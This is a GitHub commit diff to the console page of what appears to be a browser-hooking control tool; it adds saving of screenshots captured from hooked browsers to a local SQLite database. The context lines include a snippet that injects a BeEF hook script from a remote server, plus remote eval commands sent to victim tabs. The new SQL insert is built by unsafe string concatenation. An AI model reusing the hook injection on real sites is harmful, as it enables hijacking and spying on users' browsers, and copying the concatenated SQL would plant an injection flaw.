Permalink
Browse files

Added ability to save images to a local HTML5 SQLite Database (easies…

…t way to handle big chunks of data).

Database includes hook, time it was saved, description, and image.
No interface to browse those images yet.
Added "Open in Tab" button (which actually is just a window.open, should probably change that)
  • Loading branch information...
1 parent 9e49912 commit 52f866856155e3ac321cc14be568e2e3d901744d @kosborn kosborn committed Apr 1, 2012
Showing with 25 additions and 2 deletions.
  1. +25 −2 console.html
View
@@ -333,6 +333,11 @@
<div class="modal-body">
<img id=screenshot />
</div>
+ <div class="modal-footer">
+ <input type="textbox" id=screenshot-description class="row-fluid" placeholder="Give this screenshot a description">
+ <button type="button" id=screenshot-save class="btn btn-secondary">Save Screenshot</button>
+ <button type="button" id=screenshot-open class="btn btn-secondary">Open in Tab</button>
+ </div>
</div>
<div class="modal" id="choose-hook-modal">
@@ -417,6 +422,12 @@
var hook = localStorage['lastHook'] || '';
var currentTab = null;
+var db = openDatabase('screenShots', '1.0', 'Screenshots', 500 * 1024 * 1024); // Open database, some really large estimated number in size (500mb)
+
+db.transaction(function (tx) {
+ tx.executeSql('CREATE TABLE IF NOT EXISTS list (id INTEGER PRIMARY KEY ASC, hook TEXT, date INTEGER, description TEXT, image TEXT)'); // Maybe image should be converted to blob later, with binary data?
+});
+
function updateHookName(hookName) {
if (hookName == undefined || hookStorage.retrieve(hook, 'name') == undefined){
$('#current-hook-name')[0].innerText = ' ' + hook
@@ -767,8 +778,7 @@
al("Cancelled BeEF hooking");
return;
}
- var step1 = "(function() {\n\
-var d=document;\n\
+ var step1 = "(function() {\n var d=document;\n\
var s = d.createElement('script');\n\
s.src = " + JSON.stringify(beef) + "; // BeEF hook here\n\
s.setAttribute('onload','beef_init();');\n\
@@ -837,6 +847,19 @@
sendCmd('report');
});
+ $('#screenshot-save').click(function() {
+ db.transaction(function(tx){
+ tx.executeSql('INSERT INTO list (hook,date,description,image) VALUES ("'+hook+'",strftime("%s"),"'+$('#screenshot-description').attr('value').replace('"','&quot;')+'","'+$('#screenshot').attr('src')+'");')
+ })
+ al('Screenshot saved!')
+ log('Screenshot saved!')
+ $('#screenshot-modal').modal('hide');
+ });
+
+ $('#screenshot-open').click(function() {
+ a=window.open($('#screenshot').attr('src'))
+ });
+
$(document).on('click', '#links a', function() {
var cmd = "location.href = " + JSON.stringify(this.href);
sendCmd('eval', cmd, {id: currentTab});

0 comments on commit 52f8668

Please sign in to comment.